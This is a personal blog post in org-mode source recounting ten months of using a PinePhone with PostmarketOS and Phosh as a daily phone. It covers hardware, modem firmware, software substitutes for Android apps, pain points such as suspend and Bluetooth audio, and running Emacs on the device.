pinephone, alpine, postmarketos, emacs -#+HAUNT_METADATA: (("meta-tags" . "((\"twitter:card\" . \"summary\") (\"twitter:site\" . \"@0daysfordays\") (\"twitter:creator\" . \"@0daysfordays\") (\"og:description\" . \"An attempt to document my experiences and rationale for wanting to use a PinePhone, as well as my thoughts on mobile Linux in general.\") (\"og:image\" . \"https://jakob.space/static/image/pinephone-1.jpg\"))")) - -For the past ten months, I've been using my [[https://www.pine64.org/pinephone/][PinePhone]] as a "daily driver." By -which, I mean it's been in my pocket everywhere I go, and it's the device I use -to make phone calls. Depending on your familiarity with the PinePhone (or the -state of "Linux Phones" more generally) this statement is either delirious, or -vapid (why should I care that you use a "smart" phone just like the rest of us?) -Don't be mistaken: the PinePhone is usable as a little cellular-capable PDA, and -it's in a league of its own. This article is my attempt to document my -experiences and rationale for wanting to use one, as well as my thoughts on -mobile Linux in general. - -I expect "Linux Phone" to be a readily understood term by readers of mine, but -it is a somewhat imprecise term. So I'll clarify that by "Linux Phone," I mean a -mobile phone that runs not only the Linux kernel, but also the user space and -general experience we all associate with the Linux operating system[fn:8]. -Notably, this excludes Android[fn:1], which has existed for several years. Not -long ago, a Linux Phone seemed like a pipe dream: one I've had ever since I -first held a smartphone I could call my own. Perhaps it's impractical for many, -but I would be happy to trade ubiquity for being able to carry around -workstation-like capability in my pocket. I don't use social media like -Instagram, or proprietary messaging applications like WhatsApp and Snapchat. As -long as I can run my usual Linux software stack, and have a modem that can -receive and send phone calls and text messages, my needs are met. So when the -PinePhone was announced in 2019, I was excited. Not only did it tick many of the -boxes for my dream of a "Linux Phone," but it came from [[https://www.pine64.org/][PINE64]], a vendor I'd had -great experiences with in the past, being a [[https://www.pine64.org/pinebook-pro/][Pinebook Pro]] owner. - -The idea of Linux phones had been at least somewhat popularized at that point -with the earlier announcement of the Librem 5, but the Pinephoe was far more -affordable, and it would be hitting the market well before the Librem 5. I got -it as a Christmas gift from my wonderful mother. Unfortunately, this was amidst -my hellish time as an undergrad, so I didn't have the time to fully buy into -swapping over my mobile compute stack. So it waited until I graduated. I -actually am somewhat happy that I waited, though, because the software situation -is much better today than it was three years ago. - -My previous "smart" phone was a [[https://en.wikipedia.org/wiki/Honor_5X][Huawei Honor 5X]], which I purchased for about -$200 before the Trump administration [[https://en.wikipedia.org/wiki/Entity_List#Huawei][banned domestic sales of Huawei -products]].[fn:2] I flashed CyanogenMod (later LineageOS) the second I removed -it from the box for reasons I expect to be self-evident. Initially, it was a -significant upgrade over my previous 2nd generation [[https://en.wikipedia.org/wiki/Moto_G_(2nd_generation)][Moto G]], but the experience -soon grew unbearable as the LineageOS image for the device grew unmaintained. -The System UI would freeze frequently, rendering the phone inoperable until I -forcefully rebooted it; expanding the usable disk space with an external SD card -resulted in strange errors and often the SD would show up as "corrupted" until I -rebooted the phone enough times; and I would frequently have the phone reboot to -[[https://en.wikipedia.org/wiki/TWRP_(software)][TWRP]] while I was walking around with it in my pocket, a symptom I strongly -suspect to be related to panics in the old, non-mainline Kernel.[fn:17] The -battery also couldn't hold a charge, and I was able to remedy that by replacing -it, but the difficulty I had in finding OEM parts suggested that regularly -servicing the battery probably wasn't sustainable. It was time for a change. - -#+TOC: headlines 2 - -* The First Week - -With that, you now understand the situation I found myself in last October. -Software support for my mobile phone was suddenly non-existent, and I was -growing frustrated with it. I had the option of setting up the experimental -PinePhone I'd been hoarding, or fronting a couple hundred dollars for a new -cellphone. I went with the former. - -#+BEGIN_EXPORT html -
-#+END_EXPORT -I took some nice photos the day I received the PinePhone, and more on the day I -set it up. Despite my best efforts, I have been unable to locate the SD card -those photos were saved to, so the photos below were taken recently. The visible -bumps and scuffs weren't there when I received it -- the phone's sustained those -over a few months of use. -#+BEGIN_EXPORT html -
-#+END_EXPORT - -** Unboxing - -#+CAPTION: PinePhone in front of original box. -[[./pinephone-1.jpg]] - -The PinePhone's initial presentation engenders confidence. Despite the cost, the -box it comes in feels nice and gives me the sense that I have a quality product -in my hands. The phone comes in a protective sleeve, with a USB-C cable and a -leaflet with some information. It isn't a manual, but it does link to the Pine64 -wiki, which is close enough to one. - -#+CAPTION: PinePhone, unboxed. -[[./pinephone-2.jpg]] - -#+CAPTION: Somewhat blurry close-up of the leaflet. It's transcribed in the alt text. -#+ATTR_HTML: :alt Dear Piner, Congratulations on receiving your Brave Heart edition PinePhone! You are one of the very first to have a PinePhone. We hope you'll help us and our partner projects by contributing to development. [Line Break] Your input is valuable, so it is important that you report whatever problems you encounter. Please, include relevant logs and/or UART outputs. [Line Break] Join the conversation on whichever platform suits you. You can report non-OS specific (kernel) issues you encounter on gitlab.com/pine64-org. OS specific problems should be reported on the PINE64 Wiki (wiki.pine64.org/PinePhone#Software Support) as well as directly to developers in the PinePhone chats (Forums and Chats tab on pine64 org), on PINE64 forums (forum.pine64.org) or on the relevant partner-project forums (see Partner Projects tab on pine64.org). [Line Break] Brave Heart phones come preloaded with factory test software and nothing else. So you'll have to seek out the OSs that interest you on your own. [Line Break] Keep in mind that all the OSs are presently pre-release and vary in functionality, even from one pre-release to another. Most mobile distribution OS images are linked on the PinePhone subsection of the PINE64 Wiki. Obtaining OS builds absent from the Wiki may require talking to their developers directly. [Line Break] The PinePhone Wiki subsection also contains schematics, instructions, hardware configuration details, and other useful information about your device. You can edit and contribute to the Wiki by logging in with your forum credentials. [Line Break] Brave Heart is meant for early-adopters — developers and enthusiasts — so we expect and encourage you to experiment with the software and hardware by pushing the envelope. That said, please keep in mind that the device is under standard warranty, so breaking components during disassembly or tampering with eFUSEs will void that warranty. [Line Break] Now, have fun with your PinePhone! [Line Break] PINE64 Community Team" -[[./pinephone-3.jpg]] - -I care about the longevity of my gadgets, so I went on Thingiverse and found a -[[https://www.thingiverse.com/thing:4658870][hard case design]] for the PinePhone. I could've spent more time sanding it down -and making it look nice, but it was good enough for me at the time. I'm still -inexperienced with making "good" 3D-printed parts. The roughness led to a few -minor scratches on the back cover, but it's saved my PinePhone from worse damage -on several occasions. - -The PinePhone shuts itself off upon impact. I think that's a bug, rather than a -feature, but I'm usually careful enough that it doesn't happen often. (In fact, -it's usually when others are handling my phone that it falls.) - -#+BEGIN_EXPORT html -
-#+END_EXPORT -While traveling to DEF CON, the bottom of the case got torn off, so I printed a -new one. This time I used =PinePhone-HardCase-v2-Thick.stl= instead of -=PinePhone-HardCase-v2.stl=. I like the thicker case much better, and I'm not as -worried about it scratching up the back cover. - -And, even though a significant part of the case was missing, it still protected -the phone from a drop. All of this is to say that PLA is not a bad material for -a phone case, and =_The3DmaN_= on Thingiverse has a damn good design. -#+BEGIN_EXPORT html -
-#+END_EXPORT - -Per [[https://www.reddit.com/r/PinePhoneOfficial/comments/havbcm/pinephone_screen_protector/fv5smk0/][this Reddit comment]], I purchased a pack of cheap tempered glass screen -protectors designed for the iPhone Max XS. I haven't dropped the phone enough to -put it to its limits, but thus far it's done well to keep the front of the phone -free from scratches. - -#+CAPTION: Photo of the phone next to the case, horribly doctored to show both sides of the case in the same photo. -[[./pinephone-4.jpg]] - -#+CAPTION: The case makes the phone quite chunky ("thicc" as the kids say these days). Holding it is pleasant. -[[./pinephone-5.jpg]] - -The PinePhone arrives flashed with a "factory test image" which is suitable for -verifying that the hardware on the PinePhone is functional before you proceed -with it configuring it. The test for the modem was finicky, and the =motor= test -did not work. The device, at this point, was well past the limited warranty, so -I decided to press regardless. - -#+CAPTION: A PinePhone running the factorytest image. Courtesy PINE64, as I lost the photo I took when it was installed on mine. (https://www.pine64.org/2020/01/15/pinephones-start-shipping-all-you-want-to-know/) -[[./pinephone-7.jpg]] - -These issues were non-existent when I did install a proper operating system to -the phone, so I suspect there were actually some bugs in =factorytest=. -Experiencing bugs seems to be [[https://forum.pine64.org/showthread.php?tid=13257&pid=90677][consistent with other users' experiences]]. - -** Distribution - -Now that we've got the phone powered up, we have some decisions to make. What -Linux distribution do we want to install on the phone? Furthermore, what desktop -environment do we want use? - -The PINE64 wiki has a [[https://wiki.pine64.org/wiki/PinePhone_Software_Releases][page listing most of the distributions]] that are known to -work on the PinePhone, and the choices are surprisingly diverse. On one end of -the spectrum, there's [[https://github.com/GloDroid/][GloDroid]], which is a port of Android to the PinePhone. -That might seem like it defeats the purpose of using the PinePhone, but I'm sure -it can be used for a use-case similar to dual-booting Windows and Linux. Moving -further from Android, we have distributions like [[https://ubports.com/foundation/sponsors][Ubuntu Touch]] which actually use -parts of Android to interact with the underlying phone, but implement a full -Linux userland and display server on top of that. Personally, I think this is a -/really/ cool approach for making ordinary Android phones more useful, and you can -read more about the approach [[https://halium.org/][here]]. Finally, we've got regular mainline Linux, -with both desktop-oriented and mobile-oriented distributions. You can run -Gentoo, Fedora, Arch Linux ARM, etc. on the Pinephone, or you can opt for -[[http://postmarketos.org/][PostmarketOS]] (Alpine-derivative) or [[http://postmarketos.org/][Mobian]] (Debian-derivative). - -There are some options that might not fit into my arbitrary "spectrum" idea, -like [[https://sailfishos.org/][Sailfish OS]]. I don't know enough about it to say where it falls. -Regardless, I hope you're taking away that with an open design, you have lots of -options. - -One last choice I want to mention is the [[https://syndicate-lang.org/journal/2022/06/03/phone-progress][SqueakPhone]], which appears to be based -on PostmarketOS, but the userland is almost entirely written in Smalltalk. - -It's a good time to be hacking on mobile devices. We might not be in the golden -age, but we're certainly marching toward it. - -As much as I like running Gentoo on most of my machines, I figured that would be -a bit much for me. It also doesn't seem like a good idea to constantly be -compiling things from source on my phone, which probably doesn't have great -thermals (and I assume it would take a few days to compile e.g. Firefox unless I -took the time to properly set up =distcc=.) - -So I went with [[http://postmarketos.org/][PostmarketOS]]. I admire the design of Alpine Linux, and I think -that PostmarketOS is the project making the most progress in the mobile Linux -space. Now, PostmarketOS comes with several options for a desktop environment. -The three I consider to be the "main" options are [[https://wiki.postmarketos.org/wiki/Sxmo][Sxmo]], [[https://wiki.postmarketos.org/wiki/Plasma_Mobile][Plasma Mobile]], and -[[https://wiki.postmarketos.org/wiki/Phosh][Phosh]]. Sxmo is basically a mobile-oriented [[https://en.wikipedia.org/wiki/Dwm][dwm]] fork. I'm a former dwm user and -current AwesomeWM user, but running a tiling window manager on my phone seems a -bit much, even for me. And in the Gnome versus KDE footballing[fn:11], I like -Gnome better, and I prefer GTK+ over Qt, so I went with Phosh. - -Once you know what you want to install on your PinePhone, the process is -straightforward. Flash a distribution image to an SD card, pop it into the -phone, and power it on. From there, you can install it to EMMC. - -** Storage - -The internal EMMC on the PinePhone I have is 16GB (later models have a 32GB -EMMC). My music folder far exceeds 16GB, so I bought an SD card to use as extra -storage. Unlike Android, a regular Linux distribution gives you some flexibility -with how you split storage up across the various storage devices. I set up a -LUKS-encrypted ext4 filesystem on the SD card and threw a script into [[https://wiki.gentoo.org/wiki//etc/local.d][local.d]] to -decrypt it and mount it on top of =/home=. I haven't had a single issue with it, -so we're already doing much better than Android. I can store basically whatever -the hell I want on my phone without worrying about space constraints. - -#+CAPTION: A readily-noticeable feature of the PinePhone is how easy it is to get to the internals. You don't need to do much to get to the SD/SIM slot; there's a notch in the back cover that you can pry up on and it pops right off. -[[./pinephone-6.jpg]] - -** Mobile Data - -Mobile data worked surprisingly well, with minimal tinkering. At the time, -PostmarketOS wasn't able to automatically detect the APN for my carrier, but the -PINE64 wiki has a [[https://wiki.pine64.org/wiki/PinePhone_APN_Settings][list of APN settings]] for common carriers. Once I set it up to -communicate with =NXTGENPHONE=, I was able to kill the Wi-Fi connection and hit -=icanhazip.com=. I knew it worked because I was given an IPv6 address in response. -First time that's happened to me. - -#+BEGIN_EXPORT html - -#+END_EXPORT - -I was also able to pull out my PinePhone and pull up a picture of Fred Durst at -the Thanksgiving dinner table[fn:9], far away from my house, so I was able to test out -mobile data "in practice" fairly early into my PinePhone usage. - -** Software - -While we can [[https://waydro.id/][run Android applications on GNU/Linux]], it would defeat the purpose -of using this phone to run Android applications for everything. So, soon after -I'd verified all was working, I put together a list of the packages that I had -installed on my old phone, and figured out what the analogs were on -PostmarketOS. - -| Android App | PostmarketOS package | Note | -|--------------------------+-------------------------+-------------------------------------------------------------------------------------------------| -| andOTP | [[https://git.sr.ht/~martijnbraam/numberstation][numberstation]] | | -| AntennaPod | | Dropped; I'll just use an RSS reader. | -| AnySoftKeyboard | [[https://source.puri.sm/Librem5/squeekboard][squeekboard]] | | -| App Manager | | Android-specific application. | -| AudioFX | | Unused on Android. But there are plenty of [[https://wiki.archlinux.org/title/PipeWire#Audio_post-processing][post-processing applications]] for Pipewire. | -| Aurora Store | | Android-specific application. | -| BackgroundRestrictor | | Android-specific application. | -| Browser | | Unused on Android. | -| AVNC | [[https://wiki.postmarketos.org/wiki/VNC][tigervnc]] | Unused in PostmarketOS. | -| Calculator | [[https://wiki.gnome.org/Apps/Calculator][gnome-calculator]]; [[https://www.gnu.org/software/emacs/manual/html_mono/calc.html][calc]] | | -| Calendar | [[https://orgmode.org/][Org mode]] | | -| Calendar Import-Export | [[https://orgmode.org/][Org mode]] | Unused in PostmarketOS.[fn:3] | -| Camera | [[https://wiki.mobian-project.org/doku.php?id=megapixels][Megapixels]] | | -| Clock | [[https://gitlab.gnome.org/GNOME/gnome-clocks][gnome-clocks]] | | -| Contacts | [[https://gitlab.gnome.org/GNOME/gnome-contacts][gnome-contacts]] | | -| Conversations | [[https://wiki.postmarketos.org/wiki/Dino][dino]] | Unused in PostmarketOS.[fn:4] | -| Discord | [[https://github.com/diamondburned/gtkcord4][gtkcord4]] | Discord sucks and I hate it, but some friends are only reachable on there, so I have to settle. | -| Email | | Unused on Android. | -| F-Droid | | Android-specific application | -| FFUpdater | | Android-specific application | -| Files | [[https://github.com/tchx84/Portfolio][Portfolio]], [[https://en.wikipedia.org/wiki/Dired][dired]], ls(1) | | -| Firefox | Firefox | | -| FM Radio | | _Not replaceable._[fn:6] | -| Gallery | [[https://wiki.mobian-project.org/doku.php?id=gnomephotos][gnome-photos]] | | -| K-9 Mail | [[https://en.wikipedia.org/wiki/Geary_(e-mail_client)][Geary]] | | -| Libera PRO | [[https://wiki.gnome.org/Apps/Evince][Evince]] | Could use Calibre, but I actually do most of my e-book reading on a rooted Nook now. | -| Messaging | [[https://source.puri.sm/Librem5/chatty][Chatty]] | | -| MuPDF mini | [[https://wiki.gnome.org/Apps/Evince][Evince]] | | -| Music | [[https://www.musicpd.org/][Music Player Daemon]] | | -| NewPipe | [[https://mpv.io/][mpv]], [[https://github.com/yt-dlp/yt-dlp][yt-dlp]] | | -| Obsqr | [[https://wiki.mobian-project.org/doku.php?id=megapixels][Megapixels]] | | -| Offline Calendar | | Android-specific application. | -| OpenKeychain | gpg(1) | | -| Orbot | [[https://gitweb.torproject.org/torsocks.git][torsocks]] | | -| Orgzly | | Not needed as I can run GNU Emacs natively on PostmarketOS. | -| OsmAnd~ | [[https://sr.ht/~mil/mepo/][mepo]] | | -| Password Store | [[https://www.passwordstore.org/][pass]] | | -| Phone | [[https://wiki.mobian-project.org/doku.php?id=calls][Calls]] | | -| Recorder | [[https://ffmpeg.org/ffmpeg.html][ffmpeg]] | | -| RetroArch | RetroArch | Unused in PostmarketOS.[fn:7] | -| Settings | | Android-specific application. | -| Shattered Pixel Dungeons | | Dropped. | -| Signal | | | -| Slide | | Dropped. | -| Syncthing | Syncthing | | -| Termux | [[https://gitlab.gnome.org/GNOME/console][gnome-console]] | | -| Tiny Tiny RSS | [[https://gfeeds.gabmus.org/][gnome-feeds]] | I don't currently use RSS synchronization. | -| Tusky | [[https://github.com/bleakgrey/tootle][Tootle]] | | -| wallabag | | Dropped. | -| Wikipedia | | Dropped. | - -Excluded from this list are two banking applications which are effectively -irreplaceable, as they employ some additional anti-tampering and security -measures. I still keep a burner phone around for this -- even though I'm able to -do a lot from the website, there are a few things like digital check deposit and -paying rent through Zelle that I can't do without the mobile app. - -I keep the burner phone in a Faraday bag at home, but I did carry my old Android -phone around on me while I was starting to use the PinePhone -- always in -airplane mode, occasionally connected to a Wi-Fi hotspot. I took the approach of -weening myself off one and onto the other. - -I still occasionally carry around the old phone because mepo is nowhere near -OsmAnd~ in terms of maturity, so the PinePhone isn't very useful for land -navigation. The camera's also a little better on the Honor 5X. - -There are also a few odd things that aren't in the table because in Android, -they're built into the system. In particular, I've been using [[https://github.com/emersion/grim][grim]] to take -screenshots and [[https://sr.ht/~kennylevinsen/wlsunset/][wlsunset]] to set the screen color temperature.[fn:16] - -I'll get into the specifics of using some of these applications (like GNU Emacs) -later in the article. - -* Pain Points - -As you might expect, I've encountered several issues while daily-driving the -PinePhone. Most of these would make the PinePhone a non-starter for anyone with -a relatively normal use-case. But for me, they're inconveniences I'm willing to -live with. Some have been resolved by now, and I'm hopeful that they continue to -be addressed as time goes on. - -** Modem: Frequent disconnects, not receiving calls - -The modem has been the single most frustrating part about using the PinePhone. -For background: the PinePhone uses a Quectel EG25-G modem, which is effectively -a SOC of its own, running a little embedded Linux distribution distinct from the -rest of the PinePhone. So if the firmware is dogshit ([[https://www.toomanyatoms.com/computer/pinephone.html#modem][which it is]], if you're -using the firmware from Quectel), it can run hot or draw a stupid amount of -power while the main SOC is in standby and drain the battery. - -Fortunately, [[https://biktorgj.com/][Biktorgj]] maintains a [[https://github.com/Biktorgj/pinephone_modem_sdk][free firmware implementation]] for the EG25-G -which is much better. Battery life on standby went from a couple of hours to a -whole day when I made the switch. - -Regardless of firmware, I was having an issue where the modem would disconnect -from the phone every couple of minutes, which was very frustrating. This is -resolved by using =udev= to set =ATTR{power/control}= to =on= instead of =auto=, at a -cost in power consumption, but the usability is worth the hit in battery life. - -Having a distinct modem daughter card seems to be a design feature, at least [[https://puri.sm/posts/the-design-behind-a-modular-and-secure-mobile-phone/][in -the eyes of Purism]], because it means that "those network components are fully -isolated from the main board and cannot freely access the rest of the system," -indicating that it's "an important privacy feature." It comes with it's costs, -though. - -Biktorgj's project only addresses parts of the firmware, and not the baseband -implementation. You still need to install ADSP firmware blobs for that. And, -humorously, Quectel doesn't seem to officially publish them, so the PINE64 -community just maintains a collection of four different versions with varying -levels of stability depending on the cellular carrier being used. - -One issue that I have yet to solve is that, if the phone is sitting in standby -for a while (say, overnight), I can't receive or make calls. But it's -inconsistent. For example, at the time of writing this, I'd had my phone in -standby without restarting for several nights, but I could make a call just now. -It's hard to gleam what's going on from the logs, too. - -#+BEGIN_SRC prog -Jul 30 02:02:34 theta daemon.info [2179]: [modem0/bearer1] verbose call end reason (3,1056): [cm] lrrc-connection-establishment-failure-timer-expired -Jul 30 02:02:34 theta daemon.info [2179]: [modem0] state changed (connected -> registered) -Jul 30 02:02:34 theta daemon.info [2179]: [modem0/bearer1] connection #1 finished: duration 22362s, tx: 285780 bytes, rx: 1471594 bytes -... -Jul 30 06:02:43 theta daemon.info [2179]: [modem0/bearer1] verbose call end reason (3,1034): [cm] esm-sync-up-with-nw -Jul 30 06:02:43 theta daemon.info [2179]: [modem0] state changed (connected -> registered) -Jul 30 06:02:43 theta daemon.info [2179]: [modem0/bearer1] connection #2 finished: duration 14407s, tx: 172 bytes, rx: 555 bytes -#+END_SRC - -For me, this isn't a huge problem. 90% of the time I'm getting a phone call, -it's a robot asking me about my car's warranty. If it's someone actually trying -to get a hold of me, they're likely to leave a voicemail, which I am alerted to -even if the phone's in this unusual state of being unable to receive calls. - -So running custom firmware on the modem is currently the best way to have a -moderately-usable modem. With [[https://github.com/fwupd/fwupd/commit/17854099d0e614c06b5a40d2477477ee3d850fc7#diff-5a375f230ee85cf307402aaabd8da6e6dbc8ad32e0a5e9f6d302a896a8387c4cR557][the news]] that Quectel could potentially be locking -down their hardware and preventing users from flashing their own firmware, I'm -worried the usability of the PinePhone will be kneecapped in the somewhat -near-future. - -The sad thing is, this modem seems to be the best supported piece of hardware in -ModemManager now, and I don't think we'll see this much work on other modems for -a long while. This Quectel piece of shit will probably be the only usable option -in e.g. PostmarketOS for the foreseeable future. - -** Occasional Non-Wake from Suspend - -My phone will occasionally refuse to wake up from standby. That is, when the -phone goes to sleep because the screen's been off for 2 minutes, it suspends. -But the power button doesn't wake it, nor does the phone respond to the -[[https://wiki.postmarketos.org/wiki/TTYescape][TTYEscape]] key sequence. - -I configured =syslogd= to write to disk instead of shared memory to get some -indication of what might be going on, but since doing the issue hasn't presented -itself. I suspected that =gnome-power-manager= was failing to register ACPI -wake-up events in some cases, but I don't see /any/ messages about ACPI in my -=dmesg= output. Seems like [[https://linux-sunxi.org/PSCI][PSCI]] is what's being used, which tracks since the [[http://acpi.info/DOWNLOADS/ACPIspec50.pdf][first -version of the standard to acknowledge ARM]] was only released a decade ago. I -don't know enough about PSCI to hypothesize about what might have been going on. -What matters is that it's been a difficult problem to track down. - -** Suspend Prevents Alarm from Going off - -Rarely a problem for me since I plug my phone in at night and don't have it -configured to suspend when on AC power, but if the phone is suspended, there's -nothing to wake the phone up to check for alarms you've set in =gnome-clocks=. The -effect is that your alarm isn't going to go off. - -Fortunately, the modem is almost always running and is able to wake the phone, -so if you're using Biktorgj's firmware, you can send the modem a text message to -[[https://github.com/the-modem-distro/pinephone_modem_sdk/blob/kirkstone/docs/SMS_INTERFACE.md][schedule a wake-up call]]. It's a nice solution to a pretty unfortunate problem. - -There are some [[https://static.lwn.net/images/pdf/suspend_blockers.pdf][papers]] on how power management is done in Android-land, which -makes me think that user space alarms /could/ work in the presence of an automatic -suspend framework. In fact, the RTC available on the PinePhone [[https://codeberg.org/Silmathoron/pinephone-autowake][is sufficient]] to -trigger a wake event, but configuring it seems to be quite user-unfriendly. I -hope that we see more libraries and software development kits for Linux that -take advantage of mobile hardware capabilities. - -** Battery Life - -As stated above, battery life out-of-the-box is awful. It's made much better by -installing Biktorgj's modem firmware, but is still somewhat underwhelming. I've -seen this [[https://amosbbatto.wordpress.com/2021/12/10/comparing-l5-and-pp/][attributed to the phone's design consisting of four separate chips]]. - -The [[https://amosbbatto.wordpress.com/2021/12/10/comparing-l5-and-pp/][PinePhone Keyboard]] comes with a 6000mAh internal battery to effectively -extend the battery capacity of the PinePhone. I haven't purchased one yet. - -What I have done is spend about $40 on a 40000mAh power bank from Anker. That -was a good investment, since I can charge my PineBook and other devices as well. -I just keep that and a spare USB-C cable in my bag (which I bring with me -practically everywhere), and I haven't had any issues. - -I'm hopeful that PINE64 eventually releases a back cover that supports a -higher-capacity battery (maybe 5000mAh). My hesitancy with the keyboard is that -I'm worried it would be /too/ chunky. I wouldn't expect a slightly fatter battery -to make it difficult to fit the phone in my pocket, but a phone with a keyboard -attached might be a tight fit. - -** Mobile hotspot not working - -Non-issue as of PostmarketOS 21.12. The hotspot works fine, and I use it -extensively to connect my PineBook to the internet while on the go. - -Even in 21.06, it wasn't a terrible issue to have to work around. The issue was -that I couldn't connect to the internet directly, but I could still connect to -the PinePhone, so SSH tunneling and a SOCKS5 client were all I needed to browse -the web or check my email. It was [[https://forum.pine64.org/showthread.php?tid=10974][apparently a kernel issue]]. - -** On-screen Keyboard - -This is a difficult issue to put into words, and as such I've had a hard time -looking around for mention of it on the bug tracker or elsewhere. - -Sometimes, when typing with [[https://source.puri.sm/Librem5/squeekboard][Squeekboard]] (the on-screen keyboard that comes with -Phosh), I'll press a key once and two characters will be inserted -- as if the -phone registered it as two taps in quick succession. - -A solution I'd like to try is to patch Squeekboard and have it keep a timer for -determining how much time there elapses between key press events. If the pause -is too short, then we'd drop the second key press. Squeekboard seems to be -mostly written in Rust, so I find that to be an enticing quality-of-life -improvement project, but I think I've done enough technical work in this post -already, so I'll do it another time. - -** Bluetooth Audio - -Bluetooth audio remains a pain point, and an elusive one at that. It works well -when attempting to troubleshoot, but seems to bug out when I actually use it. -The [[https://wiki.archlinux.org/title/Bluetooth_headset#Connecting_works,_but_there_are_sound_glitches_all_the_time][Arch Linux Wiki has a page]] on troubleshooting my situation, which is that -"[c]onnecting works, but there are sound glitches all the time." In my case, I -have no issues connecting to my car's stereo system, for example, but 90% of the -time I will have audio buffer overruns that cause the audio to pause every -second or so. It is infuriating to have to listen to. I mostly notice this -behavior with =mpd=, and I have a procedure for "fixing it." - -1. =nice -11 mpd= -2. =mpc play= -3. =pkill mpd= -4. =nice -11 mpd= -5. Music starts playing without hiccups. - -I'm not sure why it works, or if this indicates that the issue is in =mpd= rather -than the Bluetooth stack. Regardless, it's behavior I would expect to "just -work." - -[[https://forum.pine64.org/showthread.php?tid=10810][CyberSeb on the PINE64 forum has a post]] for configuring the Bluetooth stack to -work better, and I have some recollection of the second step working well, but -as of late the script I have to run those commands (included below) no longer -works. It tends to fail at =pactl set-port-latency-offset=, either because -=BLUEZCARD= isn't defined, or something else. The error messages aren't especially -descriptive. - -I was only doing the second step because, for some time, I was convinced that my -phone wasn't running Pulse. I really thought it was on Pipewire, but it seems my -memory failed me. - -#+BEGIN_SRC prog -theta:~$ sudo apk add pipewire-pulse -ERROR: unable to select packages: - pipewire-pulse-0.3.51-r1: - breaks: postmarketos-ui-phosh-18-r3[!pipewire-pulse] - satisfies: world[pipewire-pulse] gnome-settings-daemon-42.1-r0[pulseaudio] postmarketos-base-ui-gnome-1-r3[pulseaudio] gnome-session-42.0-r1[pulseaudio-alsa] -#+END_SRC - -Even if Pulse is installed, I'm hesitant to screw with its niceness because it -does not have a reputation of being resourceful. I'm wondering if these issues -would go away if I /did/ switch over to using Pipewire, but the error from =apk= -above makes me think that it would be a hard nut to crack. I've tried [[https://wiki.archlinux.org/title/PulseAudio/Troubleshooting#Setting_the_default_fragment_number_and_buffer_size_in_PulseAudio][setting a -default fragment size]] in Pulse as a more reasonable workaround while I wait -for Pulse to eventually die a slow and painful death. So far, it hasn't fixed -the =mpd= problem, and I'm not especially inclined to troubleshoot further. - -** Cross Compiling Woes - -PostmarketOS maintains a tool for cross-compiling packages (among other things) -called [[https://wiki.postmarketos.org/wiki/Installing_pmbootstrap][pmbootstrap]], which I find to be quite nice. =pmbootstrap init= will set you -up with a chroot pinned at a specific version of PostmarketOS (or =edge=) for a -specific device and architecture, and from there you can use =pmbootstrap build= -to cross-compile packages for installation on the PinePhone. Cross-compiling can -be a bit slow (it literally took a day to compile Emacs PGTK) because, in most -cases, the toolchain will be running under [[https://www.qemu.org/docs/master/user/main.html][QEMU's user space emulator]], but it's -probably better than melting your phone trying to compile things on the device. - -I've had a few sour experiences with cross-compiling, but the issue always came -down to poor quality control in Alpine's =community= repository rather than the -cross compiling workflow not being good. Before learning about [[https://git.sr.ht/~martijnbraam/numberstation][numberstation]], I -was trying to use =gnome-authenticator=, and the version available in =apk= was -[[https://gitlab.alpinelinux.org/alpine/aports/-/issues/13296][completely unusable]]. I tried to build a newer version, which ended up being -incompatible with the libraries installed in my version of PostmarketOS, and I -tried to build a really old version (before the application was rewritten in -Rust), which didn't work either. I ended up cross-compiling [[https://gitlab.alpinelinux.org/alpine/aports/-/issues/13296][otpclient]] with -little friction. - -** Lack of software - -A lot of what I want to do is well-supported by existing Linux packages, but -there are a couple of blind spots like Signal. In theory, I can use Pidgin and -[[https://signald.org/][signald]], but I haven't been bothered to try it. - -In these cases, the solution is to write your own software. - -#+CAPTION: One of the first applications I wrote for my PinePhone: a basic Signal client, in Rust, running on my workstation. I obfuscated my partner's phone number for obvious reasons. -[[./warp-mvp.png]] - -Being able to do this without the complexity (and Java requirement) of the -Android SDK is the biggest appeal of running a Linux phone to me. So much so -that I've got an entire section dedicated to it later in this article. - -#+BEGIN_EXPORT html -
-#+END_EXPORT -Something I was not privy to early in my use of the PinePhone was the existence -of [[https://linuxphoneapps.org/][LinuxPhoneApps]], which enumerates Linux applications and games which are -relatively well-supported on touch screen devices. The list, while smaller than -something like the F-Droid, gives one some hope that the software situation is -improving. -#+BEGIN_EXPORT html -
-#+END_EXPORT - -* The Good Parts - -I started off talking about the problems that come with using a device like the -PinePhone, but I've continued to use it because for me, the benefits far -outweigh the issues, which I'll outline below. - -** Emacs on Mobile - -This is the "killer feature" for me. - -You might expect Emacs on mobile to be little more than a novelty, but the only -application I think I use more than it is Firefox. I've now got a friction-less -=org-capture= device in my pocket. If an idea pops into my head, or if someone -tells me to do something, I just pull out the PinePhone, =M- TODO= and type -it in. That note then makes its way to my other machines by the magic of -[[https://syncthing.net/][Syncthing]]. Another use for mobile Emacs is that, sometimes, I'll cuddle up to my -partner, and they'll fall asleep on me, but I really want to work on a blog -post. If this happens, I can use [[https://www.gnu.org/s/tramp/][TRAMP]] to edit the draft over SSH. In fact, I've -literally edited /this blog post/ from my bed while Oli was asleep on me, using -mobile Emacs. - -The other uses are honestly pretty mundane. I like being able to use =dired= to -browse the local filesystem; I can use [[https://github.com/speedenator/malyon][Malyon]] to play [[https://en.wikipedia.org/wiki/Zork][Zork]] & friends on the go; -and if I'm really bored, I can just start hacking on Scheme or Elisp code while -I'm sitting on the train. - -I was anticipating wanting to pick up [[https://github.com/emacs-evil/evil][evil-mode]], thinking it would be better for -use with an on-screen keyboard, but the Squeekboard terminal layout is actually -quite good for Emacs-ing. I can whip around a buffer at about a fifth my speed -on my workstation, which is pretty good for only using a fifth of my God-given -fingers. Icons (I don't disable =tool-bar-mode= in my mobile configuration) make -for a slightly nicer touch input experience, too. - -#+CAPTION: GNU Emacs on the PinePhone. Not blurry, after the process described below. -[[./pinephone-running-emacs.png]] - -It was a little difficult to get things running. Emacs is in the PostmarketOS -repos.. except the package sucks because it's the old X11 Emacs, and Phosh is -Wayland, so it has to run through Xwayland and fractional scaling makes it a -blurry mess. To resolve that, I ripped a ton of code out of the [[https://git.alpinelinux.org/aports/tree/community/emacs?h=master][APKBUILD]] and -pointed it at a tarball for Emacs =master= (which has [[https://mail.gnu.org/archive/html/emacs-devel/2021-12/msg00126.html][had the PGTK branch merged]]). - -#+BEGIN_EXPORT html -
